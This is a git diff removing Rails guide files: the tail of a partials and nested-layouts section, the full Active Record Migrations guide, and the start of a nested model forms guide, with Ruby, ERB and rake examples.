-Within the +customer+ partial, the +customer+ variable will refer to +@new_customer+ from the parent view.
-
-WARNING: In previous versions of Rails, the default local variable would look for an instance variable with the same name as the partial in the parent. This behavior was deprecated in 2.3 and has been removed in Rails 3.0.
-
-If you have an instance of a model to render into a partial, you can use a shorthand syntax:
-
-<erb>
-<%= render @customer %>
-</erb>
-
-Assuming that the +@customer+ instance variable contains an instance of the +Customer+ model, this will use +_customer.html.erb+ to render it and will pass the local variable +customer+ into the partial which will refer to the +@customer+ instance variable in the parent view.
-
-h5. Rendering Collections
-
-Partials are very useful in rendering collections. When you pass a collection to a partial via the +:collection+ option, the partial will be inserted once for each member in the collection:
-
-* +index.html.erb+
-
-<erb>
-<h1>Products</h1>
-<%= render :partial => "product", :collection => @products %>
-</erb>
-
-* +_product.html.erb+
-
-<erb>
-<p>Product Name: <%= product.name %></p>
-</erb>
-
-When a partial is called with a pluralized collection, then the individual instances of the partial have access to the member of the collection being rendered via a variable named after the partial. In this case, the partial is +_product+, and within the +_product+ partial, you can refer to +product+ to get the instance that is being rendered.
-
-In Rails 3.0, there is also a shorthand for this. Assuming +@products+ is a collection of +product+ instances, you can simply write this in the +index.html.erb+ to produce the same result:
-
-<erb>
-<h1>Products</h1>
-<%= render @products %>
-</erb>
-
-Rails determines the name of the partial to use by looking at the model name in the collection. In fact, you can even create a heterogeneous collection and render it this way, and Rails will choose the proper partial for each member of the collection:
-
-In the event that the collection is empty, +render+ will return nil, so it should be fairly simple to provide alternative content.
-
-<erb>
-<h1>Products</h1>
-<%= render(@products) || 'There are no products available.' %>
-</erb>
-
-* +index.html.erb+
-
-<erb>
-<h1>Contacts</h1>
-<%= render [customer1, employee1, customer2, employee2] %>
-</erb>
-
-* +customers/_customer.html.erb+
-
-<erb>
-<p>Customer: <%= customer.name %></p>
-</erb>
-
-* +employees/_employee.html.erb+
-
-<erb>
-<p>Employee: <%= employee.name %></p>
-</erb>
-
-In this case, Rails will use the customer or employee partials as appropriate for each member of the collection.
-
-h5. Local Variables
-
-To use a custom local variable name within the partial, specify the +:as+ option in the call to the partial:
-
-<erb>
-<%= render :partial => "product", :collection => @products, :as => :item %>
-</erb>
-
-With this change, you can access an instance of the +@products+ collection as the +item+ local variable within the partial.
-
-You can also pass in arbitrary local variables to any partial you are rendering with the +:locals => {}+ option:
-
-<erb>
-<%= render :partial => 'products', :collection => @products,
- :as => :item, :locals => {:title => "Products Page"} %>
-</erb>
-
-Would render a partial +_products.html.erb+ once for each instance of +product+ in the +@products+ instance variable passing the instance to the partial as a local variable called +item+ and to each partial, make the local variable +title+ available with the value +Products Page+.
-
-TIP: Rails also makes a counter variable available within a partial called by the collection, named after the member of the collection followed by +_counter+. For example, if you're rendering +@products+, within the partial you can refer to +product_counter+ to tell you how many times the partial has been rendered. This does not work in conjunction with the +:as => :value+ option.
-
-You can also specify a second partial to be rendered between instances of the main partial by using the +:spacer_template+ option:
-
-h5. Spacer Templates
-
-<erb>
-<%= render @products, :spacer_template => "product_ruler" %>
-</erb>
-
-Rails will render the +_product_ruler+ partial (with no data passed in to it) between each pair of +_product+ partials.
-
-h4. Using Nested Layouts
-
-You may find that your application requires a layout that differs slightly from your regular application layout to support one particular controller. Rather than repeating the main layout and editing it, you can accomplish this by using nested layouts (sometimes called sub-templates). Here's an example:
-
-Suppose you have the following +ApplicationController+ layout:
-
-* +app/views/layouts/application.html.erb+
-
-<erb>
-<html>
-<head>
- <title><%= @page_title or 'Page Title' %></title>
- <%= stylesheet_link_tag 'layout' %>
- <style type="text/css"><%= yield :stylesheets %></style>
-</head>
-<body>
- <div id="top_menu">Top menu items here</div>
- <div id="menu">Menu items here</div>
- <div id="content"><%= content_for?(:content) ? yield(:content) : yield %></div>
-</body>
-</html>
-</erb>
-
-On pages generated by +NewsController+, you want to hide the top menu and add a right menu:
-
-* +app/views/layouts/news.html.erb+
-
-<erb>
-<% content_for :stylesheets do %>
- #top_menu {display: none}
- #right_menu {float: right; background-color: yellow; color: black}
-<% end %>
-<% content_for :content do %>
- <div id="right_menu">Right menu items here</div>
- <%= content_for?(:news_content) ? yield(:news_content) : yield %>
-<% end %>
-<%= render :template => 'layouts/application' %>
-</erb>
-
-That's it. The News views will use the new layout, hiding the top menu and adding a new right menu inside the "content" div.
-
-There are several ways of getting similar results with different sub-templating schemes using this technique. Note that there is no limit in nesting levels. One can use the +ActionView::render+ method via +render :template => 'layouts/news'+ to base a new layout on the News layout. If you are sure you will not subtemplate the +News+ layout, you can replace the +content_for?(:news_content) ? yield(:news_content) : yield+ with simply +yield+.
diff --git a/railties/guides/source/migrations.textile b/railties/guides/source/migrations.textile
deleted file mode 100644
index 23e36b39f9..0000000000
--- a/railties/guides/source/migrations.textile
+++ /dev/null
@@ -1,673 +0,0 @@
-h2. Migrations
-
-Migrations are a convenient way for you to alter your database in a structured and organized manner. You could edit fragments of SQL by hand but you would then be responsible for telling other developers that they need to go and run them. You'd also have to keep track of which changes need to be run against the production machines next time you deploy.
-
-Active Record tracks which migrations have already been run so all you have to do is update your source and run +rake db:migrate+. Active Record will work out which migrations should be run. It will also update your +db/schema.rb+ file to match the structure of your database.
-
-Migrations also allow you to describe these transformations using Ruby. The great thing about this is that (like most of Active Record's functionality) it is database independent: you don't need to worry about the precise syntax of +CREATE TABLE+ any more than you worry about variations on +SELECT *+ (you can drop down to raw SQL for database specific features). For example you could use SQLite3 in development, but MySQL in production.
-
-You'll learn all about migrations including:
-
-* The generators you can use to create them
-* The methods Active Record provides to manipulate your database
-* The Rake tasks that manipulate them
-* How they relate to +schema.rb+
-
-endprologue.
-
-h3. Anatomy of a Migration
-
-Before we dive into the details of a migration, here are a few examples of the sorts of things you can do:
-
-<ruby>
-class CreateProducts < ActiveRecord::Migration
- def up
- create_table :products do |t|
- t.string :name
- t.text :description
-
- t.timestamps
- end
- end
-
- def down
- drop_table :products
- end
-end
-</ruby>
-
-This migration adds a table called +products+ with a string column called +name+ and a text column called +description+. A primary key column called +id+ will also be added, however since this is the default we do not need to ask for this. The timestamp columns +created_at+ and +updated_at+ which Active Record populates automatically will also be added. Reversing this migration is as simple as dropping the table.
-
-Migrations are not limited to changing the schema. You can also use them to fix bad data in the database or populate new fields:
-
-<ruby>
-class AddReceiveNewsletterToUsers < ActiveRecord::Migration
- def up
- change_table :users do |t|
- t.boolean :receive_newsletter, :default => false
- end
- User.update_all ["receive_newsletter = ?", true]
- end
-
- def down
- remove_column :users, :receive_newsletter
- end
-end
-</ruby>
-
-NOTE: Some "caveats":#using-models-in-your-migrations apply to using models in your migrations.
-
-This migration adds a +receive_newsletter+ column to the +users+ table. We want it to default to +false+ for new users, but existing users are considered
-to have already opted in, so we use the User model to set the flag to +true+ for existing users.
-
-Rails 3.1 makes migrations smarter by providing a new <tt>change</tt> method. This method is preferred for writing constructive migrations (adding columns or tables). The migration knows how to migrate your database and reverse it when the migration is rolled back without the need to write a separate +down+ method.
-
-<ruby>
-class CreateProducts < ActiveRecord::Migration
- def change
- create_table :products do |t|
- t.string :name
- t.text :description
-
- t.timestamps
- end
- end
-end
-</ruby>
-
-h4. Migrations are Classes
-
-A migration is a subclass of <tt>ActiveRecord::Migration</tt> that implements two methods: +up+ (perform the required transformations) and +down+ (revert them).
-
-Active Record provides methods that perform common data definition tasks in a database independent way (you'll read about them in detail later):
-
-* +create_table+
-* +change_table+
-* +drop_table+
-* +add_column+
-* +change_column+
-* +rename_column+
-* +remove_column+
-* +add_index+
-* +remove_index+
-
-If you need to perform tasks specific to your database (for example create a "foreign key":#active-record-and-referential-integrity constraint) then the +execute+ method allows you to execute arbitrary SQL. A migration is just a regular Ruby class so you're not limited to these functions. For example after adding a column you could write code to set the value of that column for existing records (if necessary using your models).
-
-On databases that support transactions with statements that change the schema (such as PostgreSQL or SQLite3), migrations are wrapped in a transaction. If the database does not support this (for example MySQL) then when a migration fails the parts of it that succeeded will not be rolled back. You will have to unpick the changes that were made by hand.
-
-h4. What's in a Name
-
-Migrations are stored in files in +db/migrate+, one for each migration class. The name of the file is of the form +YYYYMMDDHHMMSS_create_products.rb+, that is to say a UTC timestamp identifying the migration followed by an underscore followed by the name of the migration. The name of the migration class (CamelCased version) should match the latter part of the file name. For example +20080906120000_create_products.rb+ should define class +CreateProducts+ and +20080906120001_add_details_to_products.rb+ should define +AddDetailsToProducts+. If you do feel the need to change the file name then you <em>have to</em> update the name of the class inside or Rails will complain about a missing class.
-
-Internally Rails only uses the migration's number (the timestamp) to identify them. Prior to Rails 2.1 the migration number started at 1 and was incremented each time a migration was generated. With multiple developers it was easy for these to clash requiring you to rollback migrations and renumber them. With Rails 2.1 this is largely avoided by using the creation time of the migration to identify them. You can revert to the old numbering scheme by adding the following line to +config/application.rb+.
-
-<ruby>
-config.active_record.timestamped_migrations = false
-</ruby>
-
-The combination of timestamps and recording which migrations have been run allows Rails to handle common situations that occur with multiple developers.
-
-For example Alice adds migrations +20080906120000+ and +20080906123000+ and Bob adds +20080906124500+ and runs it. Alice finishes her changes and checks in her migrations and Bob pulls down the latest changes. Rails knows that it has not run Alice's two migrations so +rake db:migrate+ would run them (even though Bob's migration with a later timestamp has been run), and similarly migrating down would not run their +down+ methods.
-
-Of course this is no substitution for communication within the team. For example, if Alice's migration removed a table that Bob's migration assumed to exist, then trouble would certainly strike.
-
-h4. Changing Migrations
-
-Occasionally you will make a mistake when writing a migration. If you have already run the migration then you cannot just edit the migration and run the migration again: Rails thinks it has already run the migration and so will do nothing when you run +rake db:migrate+. You must rollback the migration (for example with +rake db:rollback+), edit your migration and then run +rake db:migrate+ to run the corrected version.
-
-In general editing existing migrations is not a good idea: you will be creating extra work for yourself and your co-workers and cause major headaches if the existing version of the migration has already been run on production machines. Instead, you should write a new migration that performs the changes you require. Editing a freshly generated migration that has not yet been committed to source control (or, more generally, which has not been propagated beyond your development machine) is relatively harmless.
-
-h4. Supported Types
-
-Active Record supports the following types:
-
-* +:primary_key+
-* +:string+
-* +:text+
-* +:integer+
-* +:float+
-* +:decimal+
-* +:datetime+
-* +:timestamp+
-* +:time+
-* +:date+
-* +:binary+
-* +:boolean+
-
-These will be mapped onto an appropriate underlying database type. For example, with MySQL the type +:string+ is mapped to +VARCHAR(255)+. You can create columns of types not supported by Active Record when using the non-sexy syntax, for example
-
-<ruby>
-create_table :products do |t|
- t.column :name, 'polygon', :null => false
-end
-</ruby>
-
-This may however hinder portability to other databases.
-
-h3. Creating a Migration
-
-h4. Creating a Model
-
-The model and scaffold generators will create migrations appropriate for adding a new model. This migration will already contain instructions for creating the relevant table. If you tell Rails what columns you want, then statements for adding these columns will also be created. For example, running
-
-<shell>
-$ rails generate model Product name:string description:text
-</shell>
-
-will create a migration that looks like this
-
-<ruby>
-class CreateProducts < ActiveRecord::Migration
- def change
- create_table :products do |t|
- t.string :name
- t.text :description
-
- t.timestamps
- end
- end
-end
-</ruby>
-
-You can append as many column name/type pairs as you want. By default +t.timestamps+ (which creates the +updated_at+ and +created_at+ columns that
-are automatically populated by Active Record) will be added for you.
-
-h4. Creating a Standalone Migration
-
-If you are creating migrations for other purposes (for example to add a column to an existing table) then you can use the migration generator:
-
-<shell>
-$ rails generate migration AddPartNumberToProducts
-</shell>
-
-This will create an empty but appropriately named migration:
-
-<ruby>
-class AddPartNumberToProducts < ActiveRecord::Migration
- def change
- end
-end
-</ruby>
-
-If the migration name is of the form "AddXXXToYYY" or "RemoveXXXFromYYY" and is followed by a list of column names and types then a migration containing the appropriate +add_column+ and +remove_column+ statements will be created.
-
-<shell>
-$ rails generate migration AddPartNumberToProducts part_number:string
-</shell>
-
-will generate
-
-<ruby>
-class AddPartNumberToProducts < ActiveRecord::Migration
- def change
- add_column :products, :part_number, :string
- end
-end
-</ruby>
-
-Similarly,
-
-<shell>
-$ rails generate migration RemovePartNumberFromProducts part_number:string
-</shell>
-
-generates
-
-<ruby>
-class RemovePartNumberFromProducts < ActiveRecord::Migration
- def up
- remove_column :products, :part_number
- end
-
- def down
- add_column :products, :part_number, :string
- end
-end
-</ruby>
-
-You are not limited to one magically generated column, for example
-
-<shell>
-$ rails generate migration AddDetailsToProducts part_number:string price:decimal
-</shell>
-
-generates
-
-<ruby>
-class AddDetailsToProducts < ActiveRecord::Migration
- def change
- add_column :products, :part_number, :string
- add_column :products, :price, :decimal
- end
-end
-</ruby>
-
-As always, what has been generated for you is just a starting point. You can add or remove from it as you see fit.
-
-NOTE: The generated migration file for destructive migrations will still be old-style using the +up+ and +down+ methods. This is because Rails doesn't know the original data types defined when you made the original changes.
-
-h3. Writing a Migration
-
-Once you have created your migration using one of the generators it's time to get to work!
-
-h4. Creating a Table
-
-Migration method +create_table+ will be one of your workhorses. A typical use would be
-
-<ruby>
-create_table :products do |t|
- t.string :name
-end
-</ruby>
-
-which creates a +products+ table with a column called +name+ (and as discussed below, an implicit +id+ column).
-
-The object yielded to the block allows you to create columns on the table. There are two ways of doing it. The first (traditional) form looks like
-
-<ruby>
-create_table :products do |t|
- t.column :name, :string, :null => false
-end
-</ruby>
-
-The second form, the so called "sexy" migration, drops the somewhat redundant +column+ method. Instead, the +string+, +integer+, etc. methods create a column of that type. Subsequent parameters are the same.
-
-<ruby>
-create_table :products do |t|
- t.string :name, :null => false
-end
-</ruby>
-
-By default, +create_table+ will create a primary key called +id+. You can change the name of the primary key with the +:primary_key+ option (don't forget to update the corresponding model) or, if you don't want a primary key at all (for example for a HABTM join table), you can pass the option +:id => false+. If you need to pass database specific options you can place an SQL fragment in the +:options+ option. For example,
-
-<ruby>
-create_table :products, :options => "ENGINE=BLACKHOLE" do |t|
- t.string :name, :null => false
-end
-</ruby>
-
-will append +ENGINE=BLACKHOLE+ to the SQL statement used to create the table (when using MySQL, the default is +ENGINE=InnoDB+).
-
-h4. Changing Tables
-
-A close cousin of +create_table+ is +change_table+, used for changing existing tables. It is used in a similar fashion to +create_table+ but the object yielded to the block knows more tricks. For example
-
-<ruby>
-change_table :products do |t|
- t.remove :description, :name
- t.string :part_number
- t.index :part_number
- t.rename :upccode, :upc_code
-end
-</ruby>
-
-removes the +description+ and +name+ columns, creates a +part_number+ column and adds an index on it. Finally it renames the +upccode+ column. This is the same as doing
-
-<ruby>
-remove_column :products, :description
-remove_column :products, :name
-add_column :products, :part_number, :string
-add_index :products, :part_number
-rename_column :products, :upccode, :upc_code
-</ruby>
-
-You don't have to keep repeating the table name and it groups all the statements related to modifying one particular table. The individual transformation names are also shorter, for example +remove_column+ becomes just +remove+ and +add_index+ becomes just +index+.
-
-h4. Special Helpers
-
-Active Record provides some shortcuts for common functionality. It is for example very common to add both the +created_at+ and +updated_at+ columns and so there is a method that does exactly that:
-
-<ruby>
-create_table :products do |t|
- t.timestamps
-end
-</ruby>
-will create a new products table with those two columns (plus the +id+ column) whereas
-
-<ruby>
-change_table :products do |t|
- t.timestamps
-end
-</ruby>
-adds those columns to an existing table.
-
-The other helper is called +references+ (also available as +belongs_to+). In its simplest form it just adds some readability
-
-<ruby>
-create_table :products do |t|
- t.references :category
-end
-</ruby>
-
-will create a +category_id+ column of the appropriate type. Note that you pass the model name, not the column name. Active Record adds the +_id+ for you. If you have polymorphic +belongs_to+ associations then +references+ will add both of the columns required:
-
-<ruby>
-create_table :products do |t|
- t.references :attachment, :polymorphic => {:default => 'Photo'}
-end
-</ruby>
-will add an +attachment_id+ column and a string +attachment_type+ column with a default value of 'Photo'.
-
-NOTE: The +references+ helper does not actually create foreign key constraints for you. You will need to use +execute+ or a plugin that adds "foreign key support":#active-record-and-referential-integrity.
-
-If the helpers provided by Active Record aren't enough you can use the +execute+ method to execute arbitrary SQL.
-
-For more details and examples of individual methods, check the API documentation, in particular the documentation for "<tt>ActiveRecord::ConnectionAdapters::SchemaStatements</tt>":http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html (which provides the methods available in the +up+ and +down+ methods), "<tt>ActiveRecord::ConnectionAdapters::TableDefinition</tt>":http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/TableDefinition.html (which provides the methods available on the object yielded by +create_table+) and "<tt>ActiveRecord::ConnectionAdapters::Table</tt>":http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/Table.html (which provides the methods available on the object yielded by +change_table+).
-
-h4. Writing Your +change+ Method
-
-The +change+ method removes the need to write both +up+ and +down+ methods in those cases that Rails know how to revert the changes automatically. Currently, the +change+ method supports only these migration definitions:
-
-* +add_column+
-* +add_index+
-* +add_timestamps+
-* +create_table+
-* +remove_timestamps+
-* +rename_column+
-* +rename_index+
-* +rename_table+
-
-If you're going to use other methods, you'll have to write the +up+ and +down+ methods normally.
-
-h4. Writing Your +down+ Method
-
-The +down+ method of your migration should revert the transformations done by the +up+ method. In other words, the database schema should be unchanged if you do an +up+ followed by a +down+. For example, if you create a table in the +up+ method, you should drop it in the +down+ method. It is wise to reverse the transformations in precisely the reverse order they were made in the +up+ method. For example,
-
-<ruby>
-class ExampleMigration < ActiveRecord::Migration
-
- def up
- create_table :products do |t|
- t.references :category
- end
- #add a foreign key
- execute <<-SQL
- ALTER TABLE products
- ADD CONSTRAINT fk_products_categories
- FOREIGN KEY (category_id)
- REFERENCES categories(id)
- SQL
-
- add_column :users, :home_page_url, :string
-
- rename_column :users, :email, :email_address
- end
-
- def down
- rename_column :users, :email_address, :email
- remove_column :users, :home_page_url
- execute "ALTER TABLE products DROP FOREIGN KEY fk_products_categories"
- drop_table :products
- end
-end
-</ruby>
-
-Sometimes your migration will do something which is just plain irreversible; for example, it might destroy some data. In such cases, you can raise +ActiveRecord::IrreversibleMigration+ from your +down+ method. If someone tries to revert your migration, an error message will be displayed saying that it can't be done.
-
-h3. Running Migrations
-
-Rails provides a set of rake tasks to work with migrations which boil down to running certain sets of migrations. The very first migration related rake task you will use will probably be +db:migrate+. In its most basic form it just runs the +up+ method for all the migrations that have not yet been run. If there are no such migrations, it exits.
-
-Note that running the +db:migrate+ also invokes the +db:schema:dump+ task, which will update your db/schema.rb file to match the structure of your database.
-
-If you specify a target version, Active Record will run the required migrations (up or down) until it has reached the specified version. The
-version is the numerical prefix on the migration's filename. For example, to migrate to version 20080906120000 run
-
-<shell>
-$ rake db:migrate VERSION=20080906120000
-</shell>
-
-If version 20080906120000 is greater than the current version (i.e., it is migrating upwards), this will run the +up+ method on all migrations up to and including 20080906120000. If migrating downwards, this will run the +down+ method on all the migrations down to, but not including, 20080906120000.
-
-h4. Rolling Back
-
-A common task is to rollback the last migration, for example if you made a mistake in it and wish to correct it. Rather than tracking down the version number associated with the previous migration you can run
-
-<shell>
-$ rake db:rollback
-</shell>
-
-This will run the +down+ method from the latest migration. If you need to undo several migrations you can provide a +STEP+ parameter:
-
-<shell>
-$ rake db:rollback STEP=3
-</shell>
-
-will run the +down+ method from the last 3 migrations.
-
-The +db:migrate:redo+ task is a shortcut for doing a rollback and then migrating back up again. As with the +db:rollback+ task, you can use the +STEP+ parameter if you need to go more than one version back, for example
-
-<shell>
-$ rake db:migrate:redo STEP=3
-</shell>
-
-Neither of these Rake tasks do anything you could not do with +db:migrate+. They are simply more convenient, since you do not need to explicitly specify the version to migrate to.
-
-Lastly, the +db:reset+ task will drop the database, recreate it and load the current schema into it.
-
-NOTE: This is not the same as running all the migrations - see the section on "schema.rb":#schema-dumping-and-you.
-
-h4. Being Specific
-
-If you need to run a specific migration up or down, the +db:migrate:up+ and +db:migrate:down+ tasks will do that. Just specify the appropriate version and the corresponding migration will have its +up+ or +down+ method invoked, for example,
-
-<shell>
-$ rake db:migrate:up VERSION=20080906120000
-</shell>
-
-will run the +up+ method from the 20080906120000 migration. These tasks check whether the migration has already run, so for example +db:migrate:up VERSION=20080906120000+ will do nothing if Active Record believes that 20080906120000 has already been run.
-
-h4. Being Talkative
-
-By default migrations tell you exactly what they're doing and how long it took. A migration creating a table and adding an index might produce output like this
-
-<shell>
-20080906170109 CreateProducts: migrating
--- create_table(:products)
- -> 0.0021s
--- add_index(:products, :name)
- -> 0.0026s
-20080906170109 CreateProducts: migrated (0.0059s)
-</shell>
-
-Several methods are provided that allow you to control all this:
-
-* +suppress_messages+ takes a block as an argument and suppresses any output generated by the block.
-* +say+ takes a message argument and outputs it as is. A second boolean argument can be passed to specify whether to indent or not.
-* +say_with_time+ outputs text along with how long it took to run its block. If the block returns an integer it assumes it is the number of rows affected.
-
-For example, this migration
-
-<ruby>
-class CreateProducts < ActiveRecord::Migration
- def change
- suppress_messages do
- create_table :products do |t|
- t.string :name
- t.text :description
- t.timestamps
- end
- end
- say "Created a table"
- suppress_messages {add_index :products, :name}
- say "and an index!", true
- say_with_time 'Waiting for a while' do
- sleep 10
- 250
- end
- end
-end
-</ruby>
-
-generates the following output
-
-<shell>
-20080906170109 CreateProducts: migrating
- Created a table
- -> and an index!
- Waiting for a while
- -> 10.0001s
- -> 250 rows
-20080906170109 CreateProducts: migrated (10.0097s)
-</shell>
-
-If you just want Active Record to shut up, then running +rake db:migrate VERBOSE=false+ will suppress all output.
-
-h3. Using Models in Your Migrations
-
-When creating or updating data in a migration it is often tempting to use one of your models. After all, they exist to provide easy access to the underlying data. This can be done, but some caution should be observed.
-
-For example, problems occur when the model uses database columns which are (1) not currently in the database and (2) will be created by this or a subsequent migration.
-
-Consider this example, where Alice and Bob are working on the same code base which contains a +Product+ model:
-
-Bob goes on vacation.
-
-Alice creates a migration for the +products+ table which adds a new column and initializes it.
-She also adds a validation to the +Product+ model for the new column.
-
-<ruby>
-# db/migrate/20100513121110_add_flag_to_product.rb
-
-class AddFlagToProduct < ActiveRecord::Migration
- def change
- add_column :products, :flag, :int
- Product.all.each { |f| f.update_attributes!(:flag => 'false') }
- end
-end
-</ruby>
-
-<ruby>
-# app/model/product.rb
-
-class Product < ActiveRecord::Base
- validates :flag, :presence => true
-end
-</ruby>
-
-Alice adds a second migration which adds and initializes another column to the +products+ table and also adds a validation to the +Product+ model for the new column.
-
-<ruby>
-# db/migrate/20100515121110_add_fuzz_to_product.rb
-
-class AddFuzzToProduct < ActiveRecord::Migration
- def change
- add_column :products, :fuzz, :string
- Product.all.each { |f| f.update_attributes! :fuzz => 'fuzzy' }
- end
-end
-</ruby>
-
-<ruby>
-# app/model/product.rb
-
-class Product < ActiveRecord::Base
- validates :flag, :fuzz, :presence => true
-end
-</ruby>
-
-Both migrations work for Alice.
-
-Bob comes back from vacation and:
-
-# updates the source - which contains both migrations and the latests version of the Product model.
-# runs outstanding migrations with +rake db:migrate+, which includes the one that updates the +Product+ model.
-
-The migration crashes because when the model attempts to save, it tries to validate the second added column, which is not in the database when the _first_ migration runs:
-
-<plain>
-rake aborted!
-An error has occurred, this and all later migrations canceled:
-
-undefined method `fuzz' for #<Product:0x000001049b14a0>
-</plain>
-
-A fix for this is to create a local model within the migration. This keeps rails from running the validations, so that the migrations run to completion.
-
-When using a faux model, it's a good idea to call +Product.reset_column_information+ to refresh the +ActiveRecord+ cache for the +Product+ model prior to updating data in the database.
-
-If Alice had done this instead, there would have been no problem:
-
-<ruby>
-# db/migrate/20100513121110_add_flag_to_product.rb
-
-class AddFlagToProduct < ActiveRecord::Migration
- class Product < ActiveRecord::Base
- end
-
- def change
- add_column :products, :flag, :int
- Product.reset_column_information
- Product.all.each { |f| f.update_attributes!(:flag => false) }
- end
-end
-</ruby>
-
-<ruby>
-# db/migrate/20100515121110_add_fuzz_to_product.rb
-
-class AddFuzzToProduct < ActiveRecord::Migration
- class Product < ActiveRecord::Base
- end
- def change
- add_column :products, :fuzz, :string
- Product.reset_column_information
- Product.all.each { |f| f.update_attributes! :fuzz => 'fuzzy' }
- end
-end
-</ruby>
-
-
-h3. Schema Dumping and You
-
-h4. What are Schema Files for?
-
-Migrations, mighty as they may be, are not the authoritative source for your database schema. That role falls to either +db/schema.rb+ or an SQL file which Active Record generates by examining the database. They are not designed to be edited, they just represent the current state of the database.
-
-There is no need (and it is error prone) to deploy a new instance of an app by replaying the entire migration history. It is much simpler and faster to just load into the database a description of the current schema.
-
-For example, this is how the test database is created: the current development database is dumped (either to +db/schema.rb+ or +db/development.sql+) and then loaded into the test database.
-
-Schema files are also useful if you want a quick look at what attributes an Active Record object has. This information is not in the model's code and is frequently spread across several migrations, but is summed up in the schema file. The "annotate_models":https://github.com/ctran/annotate_models gem automatically adds and updates comments at the top of each model summarizing the schema if you desire that functionality.
-
-h4. Types of Schema Dumps
-
-There are two ways to dump the schema. This is set in +config/application.rb+ by the +config.active_record.schema_format+ setting, which may be either +:sql+ or +:ruby+.
-
-If +:ruby+ is selected then the schema is stored in +db/schema.rb+. If you look at this file you'll find that it looks an awful lot like one very big migration:
-
-<ruby>
-ActiveRecord::Schema.define(:version => 20080906171750) do
- create_table "authors", :force => true do |t|
- t.string "name"
- t.datetime "created_at"
- t.datetime "updated_at"
- end
-
- create_table "products", :force => true do |t|
- t.string "name"
- t.text "description"
- t.datetime "created_at"
- t.datetime "updated_at"
- t.string "part_number"
- end
-end
-</ruby>
-
-In many ways this is exactly what it is. This file is created by inspecting the database and expressing its structure using +create_table+, +add_index+, and so on. Because this is database-independent, it could be loaded into any database that Active Record supports. This could be very useful if you were to distribute an application that is able to run against multiple databases.
-
-There is however a trade-off: +db/schema.rb+ cannot express database specific items such as foreign key constraints, triggers, or stored procedures. While in a migration you can execute custom SQL statements, the schema dumper cannot reconstitute those statements from the database. If you are using features like this, then you should set the schema format to +:sql+.
-
-Instead of using Active Record's schema dumper, the database's structure will be dumped using a tool specific to the database (via the +db:structure:dump+ Rake task) into +db/#{Rails.env}_structure.sql+. For example, for the PostgreSQL RDBMS, the +pg_dump+ utility is used. For MySQL, this file will contain the output of +SHOW CREATE TABLE+ for the various tables. Loading these schemas is simply a question of executing the SQL statements they contain. By definition, this will create a perfect copy of the database's structure. Using the +:sql+ schema format will, however, prevent loading the schema into a RDBMS other than the one used to create it.
-
-h4. Schema Dumps and Source Control
-
-Because schema dumps are the authoritative source for your database schema, it is strongly recommended that you check them into source control.
-
-h3. Active Record and Referential Integrity
-
-The Active Record way claims that intelligence belongs in your models, not in the database. As such, features such as triggers or foreign key constraints, which push some of that intelligence back into the database, are not heavily used.
-
-Validations such as +validates :foreign_key, :uniqueness => true+ are one way in which models can enforce data integrity. The +:dependent+ option on associations allows models to automatically destroy child objects when the parent is destroyed. Like anything which operates at the application level, these cannot guarantee referential integrity and so some people augment them with foreign key constraints.
-
-Although Active Record does not provide any tools for working directly with such features, the +execute+ method can be used to execute arbitrary SQL. There are also a number of plugins such as "foreign_key_migrations":https://github.com/harukizaemon/redhillonrails/tree/master/foreign_key_migrations/ which add foreign key support to Active Record (including support for dumping foreign keys in +db/schema.rb+).
diff --git a/railties/guides/source/nested_model_forms.textile b/railties/guides/source/nested_model_forms.textile
deleted file mode 100644
index 4b1fd2e0ac..0000000000
--- a/railties/guides/source/nested_model_forms.textile
+++ /dev/null
@@ -1,222 +0,0 @@
-h2. Rails nested model forms
-
-Creating a form for a model _and_ its associations can become quite tedious. Therefore Rails provides helpers to assist in dealing with the complexities of generating these forms _and_ the required CRUD operations to create, update, and destroy associations.
-
-In this guide you will:
-
-* do stuff
-
-endprologue.
-
-NOTE: This guide assumes the user knows how to use the "Rails form helpers":form_helpers.html in general. Also, it’s *not* an API reference. For a complete reference please visit "the Rails API documentation":http://api.rubyonrails.org/.
-
-
-h3. Model setup
-
-To be able to use the nested model functionality in your forms, the model will need to support some basic operations.
-
-First of all, it needs to define a writer method for the attribute that corresponds to the association you are building a nested model form for. The +fields_for+ form helper will look for this method to decide whether or not a nested model form should be build.
-
-If the associated object is an array a form builder will be yielded for each object, else only a single form builder will be yielded.
-
-Consider a Person model with an associated Address. When asked to yield a nested FormBuilder for the +:address+ attribute, the +fields_for+ form helper will look for a method on the Person instance named +address_attributes=+.
-
-h4. ActiveRecord::Base model
-
-For an ActiveRecord::Base model and association this writer method is commonly defined with the +accepts_nested_attributes_for+ class method:
-
-h5. has_one
-
-<ruby>
-class Person < ActiveRecord::Base
- has_one :address
- accepts_nested_attributes_for :address
-end
-</ruby>
-
-h5. belongs_to
-
-<ruby>
-class Person < ActiveRecord::Base
- belongs_to :firm
- accepts_nested_attributes_for :firm
-end
-</ruby>
-
-h5. has_many / has_and_belongs_to_many
-
-<ruby>
-class Person < ActiveRecord::Base
- has_many :projects
- accepts_nested_attributes_for :projects
-end
-</ruby>
-
-h4. Custom model
-
-As you might have inflected from this explanation, you _don’t_ necessarily need an ActiveRecord::Base model to use this functionality. The following examples are sufficient to enable the nested model form behaviour:
-
-h5. Single associated object
-
-<ruby>
-class Person
- def address
- Address.new
- end
-
- def address_attributes=(attributes)
- # ...
- end
-end
-</ruby>
-
-h5. Association collection
-
-<ruby>
-class Person
- def projects
- [Project.new, Project.new]
- end
-
- def projects_attributes=(attributes)
- # ...
- end
-end
-</ruby>
-
-NOTE: See (TODO) in the advanced section for more information on how to deal with the CRUD operations in your custom model.
-
-h3. Views
-
-h4. Controller code
-
-A nested model form will _only_ be built if the associated object(s) exist. This means that for a new model instance you would probably want to build the associated object(s) first.
-
-Consider the following typical RESTful controller which will prepare a new Person instance and its +address+ and +projects+ associations before rendering the +new+ template:
-
-<ruby>
-class PeopleController < ActionController:Base
- def new
- @person = Person.new
- @person.built_address
- 2.times { @person.projects.build }
- end
-
- def create
- @person = Person.new(params[:person])
- if @person.save
- # ...
- end
- end
-end
-</ruby>
-
-NOTE: Obviously the instantiation of the associated object(s) can become tedious and not DRY, so you might want to move that into the model itself. ActiveRecord::Base provides an +after_initialize+ callback which is a good way to refactor this.
-
-h4. Form code
-
-Now that you have a model instance, with the appropriate methods and associated object(s), you can start building the nested model form.
-
-h5. Standard form
-
-Start out with a regular RESTful form:
-
-<erb>
-<%= form_for @person do |f| %>
- <%= f.text_field :name %>
-<% end %>
